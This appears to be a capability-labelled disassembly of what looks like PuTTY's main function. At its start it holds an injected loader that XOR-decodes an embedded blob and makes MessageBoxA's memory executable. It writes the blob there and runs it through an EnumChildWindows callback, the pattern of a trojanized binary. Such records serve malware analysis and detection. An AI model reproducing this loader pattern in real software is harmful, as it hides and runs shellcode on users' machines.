Function at 0x429110
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get keyboard layout
Hide graphical window
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x23ac
call fcn.0043a120
mov eax, dword [0x4b7780]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2380], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x237c], eax
call fcn.00432e30
push 0x2336
lea eax, [ebp - 0x233c]
push 0x4a56e8
push eax
call fcn.0043af70
mov bl, byte [ebp - 0x233c]
add esp, 0xc
xor bl, 0x90
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x23ac]
nop
push ecx
nop
push 0x40
push 0x2335
nop
push edi
nop
call eax
mov ecx, edi
lea esi, [ebp - 0x233c]
sub esi, ecx
mov edx, 0x2335
mov al, byte [esi + ecx]
nop
lea ecx, [ecx + 1]
nop
xor al, bl
nop
mov byte [ecx - 1], al
nop
sub edx, 1
jne 0x4291a4
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov eax, dword [ebp - 0x2380]
mov dword [0x4bbf10], eax
mov dword [0x4bbf18], 0
mov dword [0x4bbef0], 5
call fcn.00434310
call fcn.00423a10
call fcn.00432940
call fcn.00427160
call fcn.00433340
test eax, eax
jne 0x429254
push dword [0x49a5c4]
push str._s_Fatal_Error
call fcn.0040db40
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Windows_refuses_to_report_a_version
push 0
call edi
push esi
call fcn.0040e1d0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.00439c24
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x4bbe44], 4
jb 0x429268
jne 0x429278
cmp dword [0x4bbe50], 2
je 0x429278
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x4b76e8], eax
call fcn.00431e60
call fcn.0042ed90
call fcn.004032f0
push 0
mov dword [0x4bbedc], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x4292bf
cmp eax, 1
je 0x4292bf
push dword [0x49a5c4]
push str._s_Fatal_Error
call fcn.0040db40
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Failed_to_initialize_COM_subsystem
jmp 0x42922f
mov eax, dword [0x49a5c0]
xor esi, esi
push eax
mov dword [ebp - 0x2378], esi
mov dword [0x4bbeec], eax
call fcn.00412110
add esp, 4
mov dword [0x4bbee8], esi
test eax, eax
je 0x4292ec
mov eax, dword [eax + 0x4c]
mov dword [0x4bbee8], eax
push 0
push 0x78
push dword [0x4bbedc]
call fcn.00403590
push dword [0x4bbedc]
push 0
call fcn.00412140
mov ebx, dword [ebp - 0x237c]
add esp, 0x14
mov edi, ebx
mov al, byte [ebx]
test al, al
je 0x429338
nop dword [eax]
movsx eax, al
push eax
call fcn.00468a70
add esp, 4
test eax, eax
je 0x429338
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x429320
mov cl, byte [edi]
mov al, cl
cmp cl, 0x26
jne 0x429373
cmp byte [edi + 1], 0x52
jne 0x429373
mov dl, byte [edi + 2]
lea ebx, [edi + 2]
test dl, dl
je 0x42935a
cmp dl, 0x40
je 0x42935a
cmp dl, cl
jne 0x42936d
call fcn.004368b0
mov dword [0x4bbef4], 1
mov edi, ebx
mov al, byte [ebx]
mov ebx, dword [ebp - 0x237c]
cmp al, 0x40
jne 0x4293e8
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x429380
sub esi, ecx
cmp esi, 1
jle 0x4293aa
lea ebx, [edi - 1]
add ebx, esi
movsx eax, byte [ebx]
push eax
call fcn.00468a70
add esp, 4
test eax, eax
je 0x4293aa
dec esi
dec ebx
cmp esi, 1
jg 0x429393
mov byte [esi + edi], 0
lea eax, [edi + 1]
push dword [0x4bbedc]
push eax
call fcn.00412140
push dword [0x4bbedc]
call fcn.0040d9a0
add esp, 0xc
test eax, eax
jne 0x4293dc
call fcn.004271a0
test eax, eax
je 0x429f09
mov ebx, 1
xor esi, esi
jmp 0x4294ed
cmp al, 0x26
jne 0x429473
lea eax, [ebp - 0x237c]
push eax
lea eax, [ebp - 0x2378]
push eax
lea eax, [edi + 1]
push str._p:_u
push eax
call fcn.00411120
add esp, 0x10
cmp eax, 2
jne 0x429464
push dword [ebp - 0x237c]
push 0
push 0
push 4
push dword [ebp - 0x2378]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
je 0x429464
push dword [ebp - 0x237c]
push edi
push dword [0x4bbedc]
call fcn.00402e30
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x2378]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
jmp 0x4294ed
call fcn.004271a0
test eax, eax
je 0x429f02
jmp 0x42945a
test al, al
je 0x4294eb
push 0
lea eax, [ebp - 0x2384]
push eax
lea eax, [ebp - 0x237c]
push eax
push ebx
call fcn.004393b0
mov ecx, dword [ebp - 0x237c]
add esp, 0x10
xor edi, edi
test ecx, ecx
jle 0x4294eb
nop dword [eax]
mov eax, dword [ebp - 0x2384]
lea ebx, [edi + 1]
mov esi, dword [eax + edi*4]
cmp ebx, ecx
jge 0x4294b6
mov eax, dword [eax + edi*4 + 4]
jmp 0x4294b8
xor eax, eax
push dword [0x4bbedc]
push 1
push eax
push esi
call fcn.00401450
add esp, 0x10
cmp eax, 0xfffffffe
je 0x429f7c
cmp eax, 2
jne 0x429539
mov edi, ebx
mov esi, dword [ebp - 0x2378]
mov ecx, dword [ebp - 0x237c]
inc edi
cmp edi, ecx
jl 0x4294a0
xor ebx, ebx
push dword [0x4bbedc]
call fcn.00402b50
add esp, 4
cmp dword [0x4bbee4], 0
jne 0x429508
test esi, esi
je 0x42950d
mov ebx, 1
test ebx, ebx
je 0x429527
push dword [0x4bbedc]
call fcn.0040d9a0
add esp, 4
test eax, eax
jne 0x4296a9
call fcn.004271a0
test eax, eax
je 0x429f09
jmp 0x4296a9
cmp eax, 1
je 0x4294da
mov ecx, str._cleanup
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x429565
test dl, dl
je 0x429561
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x429565
add eax, 2
add ecx, 2
test dl, dl
jne 0x429545
xor eax, eax
jmp 0x42956a
sbb eax, eax
or eax, 1
test eax, eax
je 0x429f27
mov ecx, str._pgpfp
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4295a0
test dl, dl
je 0x42959c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4295a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x429580
xor eax, eax
jmp 0x4295a5
sbb eax, eax
or eax, 1
test eax, eax
je 0x429f1b
cmp byte [esi], 0x2d
je 0x429f10
cmp dword [ebp - 0x2378], 0
mov ebx, esi
je 0x4295dc
push dword [0x4bbedc]
push 1
push esi
push 0x49a73c
call fcn.00401450
add esp, 0x10
jmp 0x4294da
push 7
push str.telnet:
push esi
call fcn.00447c60
add esp, 0xc
test eax, eax
jne 0x429680
add esi, 7
cmp byte [esi], 0x2f
jne 0x429605
cmp byte [esi + 1], 0x2f
jne 0x429605
add esi, 2
push 1
push 2
push dword [0x4bbedc]
call fcn.00403590
push 0x4a7c18
push esi
call fcn.0040ded0
mov cl, byte [eax + esi]
add eax, esi
add esp, 0x14
test cl, cl
je 0x42962f
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x42964d
push eax
call fcn.00447b98
push eax
push 1
push dword [0x4bbedc]
call fcn.00403590
add esp, 0x10
jmp 0x42965f
push 0xffffffffffffffff
push 1
push dword [0x4bbedc]
call fcn.00403590
add esp, 0xc
push esi
push 0
push dword [0x4bbedc]
call fcn.004035f0
mov esi, 1
add esp, 0xc
mov dword [ebp - 0x2378], esi
jmp 0x4294e0
mov al, byte [esi]
test al, al
je 0x4296a6
movsx eax, al
push eax
call fcn.00468a70
add esp, 4
test eax, eax
jne 0x42969e
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x429686
cmp byte [esi], 0
je 0x4296a6
mov byte [esi], 0
push ebx
jmp 0x429660
push 0
push dword [0x4bbedc]
call fcn.00403150
push eax
call fcn.0040db60
mov edi, eax
push 0x4a0898
push edi
call fcn.0046b340
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x4296fd
push 0x40
push esi
call fcn.0043bbd0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x4296fd
push esi
mov byte [ebx], 0
push 0x34
push dword [0x4bbedc]
call fcn.004035f0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.0040de50
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x429722
lea ecx, [ebx + 1]
push 0x3a
push ecx
call fcn.0040de50
add esp, 8
test eax, eax
jne 0x429722
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x429743
nop word [eax + eax]
cmp al, 0x20
je 0x42973b
cmp al, 9
je 0x42973b
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x429730
push edi
mov byte [ecx], 0
push 0
push dword [0x4bbedc]
call fcn.004035f0
push edi
call fcn.0040e1d0
add esp, 0x10
cmp dword [ebp + 0xc], 0
jne 0x4297f9
mov eax, dword [ebp - 0x2380]
push 0xc8
push eax
mov dword [ebp - 0x2374], 0
mov dword [ebp - 0x2370], 0x429f90
mov dword [ebp - 0x236c], 0
mov dword [ebp - 0x2368], 0
mov dword [ebp - 0x2364], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x2360], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push dword [0x49a5c4]
mov dword [ebp - 0x235c], eax
push 0
push 0
mov dword [ebp - 0x2358], 0
mov dword [ebp - 0x2354], 0
call fcn.0040e7c0
add esp, 0xc
mov dword [ebp - 0x2350], eax
lea eax, [ebp - 0x2374]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0xb10
push 0
push 0x4b8570
call fcn.0043b4f0
call fcn.0042cd40
call fcn.0042cd70
push 0x73
push dword [0x4bbedc]
mov dword [0x4b853c], 0xa
mov dword [0x4b8540], 0x14
mov dword [0x4b8534], 0x19
mov dword [0x4b8538], 0x1c
call fcn.004030f0
imul eax, dword [0x4b853c]
push 0x74
push dword [0x4bbedc]
add eax, dword [0x4b8534]
mov dword [ebp - 0x2388], eax
call fcn.004030f0
imul eax, dword [0x4b8540]
add eax, dword [0x4b8538]
mov dword [ebp - 0x237c], eax
lea eax, [ebp - 0x234c]
push eax
call fcn.0042e5d0
mov eax, dword [ebp - 0x2344]
sub eax, dword [ebp - 0x234c]
push dword [0x49a5c4]
mov dword [ebp - 0x2378], eax
mov eax, dword [ebp - 0x2340]
sub eax, dword [ebp - 0x2348]
push 0
push 0
mov dword [ebp - 0x2384], eax
call fcn.0040e7c0
push 0x6d
push dword [0x4bbedc]
mov dword [ebp - 0x238c], eax
call fcn.004030f0
neg eax
push 0x6f
push dword [0x4bbedc]
sbb ebx, ebx
and ebx, 0x200000
add ebx, 0xcf0000
call fcn.004030f0
push 0x56
push dword [0x4bbedc]
mov esi, eax
call fcn.004030f0
add esp, 0x44
neg eax
sbb edi, edi
and edi, 8
push 0x7e
push dword [0x4bbedc]
call fcn.004030f0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x2384]
cmp dword [ebp - 0x237c], eax
cmovle eax, dword [ebp - 0x237c]
push 0
push dword [ebp - 0x2380]
push 0
push 0
push eax
mov eax, dword [ebp - 0x2378]
cmp dword [ebp - 0x2388], eax
cmovle eax, dword [ebp - 0x2388]
push eax
mov eax, ebx
push 0x80000000
and eax, 0xfffaffff
cmp esi, 1
push 0x80000000
cmovne eax, ebx
mov ebx, dword [ebp - 0x238c]
push eax
push ebx
push ebx
mov eax, edi
or eax, 0x200
test ecx, ecx
cmove eax, edi
push eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
push ebx
mov dword [0x4bbf18], eax
call fcn.0040e1d0
push 0
push 0
call fcn.0042e740
push 0
push 0x4b8570
push dword [0x4bbedc]
call fcn.0041ad20
push dword [0x4bbedc]
mov dword [0x4bbf0c], eax
push 0
call fcn.0040a800
push eax
push dword [0x4bbf0c]
mov dword [0x4bbf08], eax
call fcn.0041efb0
push 0x60
push dword [0x4bbedc]
call fcn.004030f0
add esp, 0x30
push eax
push 0x73
push dword [0x4bbedc]
call fcn.004030f0
add esp, 8
push eax
push 0x74
push dword [0x4bbedc]
call fcn.004030f0
add esp, 8
push eax
push dword [0x4bbf0c]
call fcn.0041f690
add esp, 0x10
lea eax, [ebp - 0x235c]
push eax
push dword [0x4bbf18]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x234c]
push eax
push dword [0x4bbf18]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x7f
push dword [0x4bbedc]
call fcn.004030f0
mov esi, dword [ebp - 0x234c]
add esp, 8
sub esi, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x2348]
sub edx, dword [ebp - 0x2340]
lea ecx, [eax + eax]
sub esi, dword [ebp - 0x235c]
sub edx, dword [ebp - 0x2358]
add esi, dword [ebp - 0x2354]
add edx, dword [ebp - 0x2350]
add esi, ecx
add edx, ecx
mov dword [0x4b8550], eax
mov ecx, dword [0x4bbf0c]
mov dword [0x4b854c], eax
mov dword [0x4b8534], esi
mov dword [0x4b8538], edx
mov eax, dword [ecx + 0x128]
imul eax, dword [0x4b8540]
push 0xe
add eax, edx
push eax
mov eax, dword [ecx + 0x12c]
imul eax, dword [0x4b853c]
add eax, esi
push eax
push 0
push 0
push 0
push dword [0x4bbf18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [0x4b853c]
add eax, 0xf
cdq
and edx, 0xf
push 1
lea esi, [edx + eax]
sar esi, 4
imul esi, dword [0x4b8540]
add esi, esi
push esi
call fcn.0040e1f0
push esi
mov edi, eax
push 0
push edi
call fcn.0043b4f0
add esp, 0x14
push edi
push 1
push 1
push dword [0x4b8540]
push dword [0x4b853c]
call dword [sym.imp.GDI32.dll_CreateBitmap]
push edi
mov dword [0x4b9a3c], eax
call fcn.0040e1d0
add esp, 4
push dword [0x4b8540]
push dword [0x4b853c]
push dword [0x4b9a3c]
push dword [0x4bbf18]
call dword [sym.imp.USER32.dll_CreateCaret]
mov ecx, dword [0x4bbf0c]
mov dword [ebp - 0x2368], 0x1c
mov dword [ebp - 0x2364], 0x1f
mov dword [ebp - 0x2360], 0
mov eax, dword [ecx + 0x128]
dec eax
mov dword [ebp - 0x235c], eax
mov eax, dword [ecx + 0x128]
push 0
mov dword [ebp - 0x2358], eax
lea eax, [ebp - 0x2368]
push eax
push 1
push dword [0x4bbf18]
mov dword [ebp - 0x2354], 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [0x4b9a48], 0
mov dword [0x4b9a4c], 0
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push dword [0x4bbf18]
mov dword [0x4b9a40], eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [0x4b90a0], eax
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov ebx, dword [sym.imp.USER32.dll_AppendMenuA]
push str.Paste
push 0x190
push 0
push eax
mov dword [0x4b90a4], eax
call ebx
call dword [sym.imp.USER32.dll_CreateMenu]
push 1
push 0x4b90ac
mov dword [0x4b90a8], eax
call fcn.00412190
add esp, 8
call fcn.00430470
xor eax, eax
mov dword [ebp - 0x2380], eax
nop
mov edi, dword [eax + 0x4b90a0]
push 0
push 0
push 0x800
push edi
call ebx
push str.Event_Log
push 0x10
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.New_Session...
push 0x20
push 0
push edi
call ebx
push str.Duplicate_Session
push 0x30
push 0
push edi
call ebx
push str.Saved_Sessions
push dword [0x4b90a8]
push 0x10
push edi
call ebx
push str.Change_Settings...
push 0x50
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Copy_All_to_Clipboard
push 0x170
push 0
push edi
call ebx
push str.Clear_Scrollback
push 0x60
push 0
push edi
call ebx
push str.Reset_Terminal
push 0x70
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Full_Screen
push 0x180
push 0x6f
push dword [0x4bbedc]
call fcn.004030f0
add esp, 8
dec eax
neg eax
sbb eax, eax
inc eax
push eax
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
call fcn.00431e40
test eax, eax
je 0x429cf5
push str.Help
push 0x140
push 0
push edi
call ebx
push dword [0x49a5c4]
push str.About__s
call fcn.0040db40
add esp, 8
mov esi, eax
push esi
push 0x150
push 0
push edi
call ebx
push esi
call fcn.0040e1d0
mov eax, dword [ebp - 0x2380]
add esp, 4
add eax, 4
mov dword [ebp - 0x2380], eax
cmp eax, 8
jb 0x429c10
cmp dword [0x4bbef4], 0
je 0x429d4e
push str.Running_with_restricted_process_ACL
push 0
call fcn.00427450
add esp, 8
call fcn.0042ff80
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
call fcn.0042fcf0
add esp, 4
push dword [ebp + 0x14]
push dword [0x4bbf18]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4bbf18]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [0x4b9720], 0
mov dword [0x4b9724], 0
call fcn.0042ec40
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor ecx, ecx
cmp eax, dword [0x4bbf18]
sete cl
push ecx
push dword [0x4bbf0c]
call fcn.0041f670
add esp, 8
push dword [0x4bbf18]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
call fcn.00401310
test eax, eax
jne 0x429e20
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x23a8]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x429e20
mov dword [ebp - 0x2380], 0xffffffff
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor ecx, ecx
cmp eax, dword [0x4bbf18]
sete cl
push ecx
push dword [0x4bbf0c]
call fcn.0041f670
add esp, 8
jmp 0x429e2a
mov dword [ebp - 0x2380], 0
lea eax, [ebp - 0x237c]
push eax
call fcn.004316c0
add esp, 4
mov dword [ebp - 0x2378], eax
push 0x1cff
push dword [ebp - 0x2380]
push 0
push eax
push dword [ebp - 0x237c]
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov ecx, eax
cmp ecx, dword [ebp - 0x237c]
jae 0x429e74
mov eax, dword [ebp - 0x2378]
push dword [eax + ecx*4]
call fcn.00431770
add esp, 4
push dword [ebp - 0x2378]
call fcn.0040e1d0
add esp, 4
lea eax, [ebp - 0x23a8]
push 1
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x429eed
cmp dword [ebp - 0x23a4], 0x12
je 0x429ef7
push dword [0x4bbf14]
call ebx
test eax, eax
je 0x429ec3
lea eax, [ebp - 0x23a8]
push eax
push dword [0x4bbf14]
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
jne 0x429ecc
lea eax, [ebp - 0x23a8]
push eax
call edi
cmp dword [ebp - 0x23a4], 0x8005
jne 0x429eed
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x23a8]
push eax
call esi
test eax, eax
jne 0x429e97
call fcn.004012d0
jmp 0x429dd6
push dword [ebp - 0x23a0]
call fcn.0042c990
push 0
call fcn.0042c990
push 0
call fcn.0042c990
push esi
push str.unknown_option___s_
call fcn.0042cce0
call fcn.004392d0
push 1
call fcn.00474d2b
push dword [0x49a5c4]
push str.This_procedure_will_remove_ALL_Registry_entries_nassociated_with__s__and_will_also_remove_nthe_random_seed_file.__This_only_affects_the_ncurrently_logged_in_user.__n_nTHIS_PROCESS_WILL_DESTROY_YOUR_SAVED_SESSIONS._nAre_you_really_sure_you_want_to_continue_
call fcn.0040db40
push dword [0x49a5c4]
mov esi, eax
push str._s_Warning
call fcn.0040db40
push 4
mov edi, eax
push 0x134
push edi
push esi
call fcn.004391b0
add esp, 0x20
cmp eax, 6
jne 0x429f66
call fcn.004372c0
push esi
call fcn.0040e1d0
push edi
call fcn.0040e1d0
add esp, 8
push 0
call fcn.00474d2b
push esi
push str.option___s__requires_an_argument
call fcn.0042cce0
int3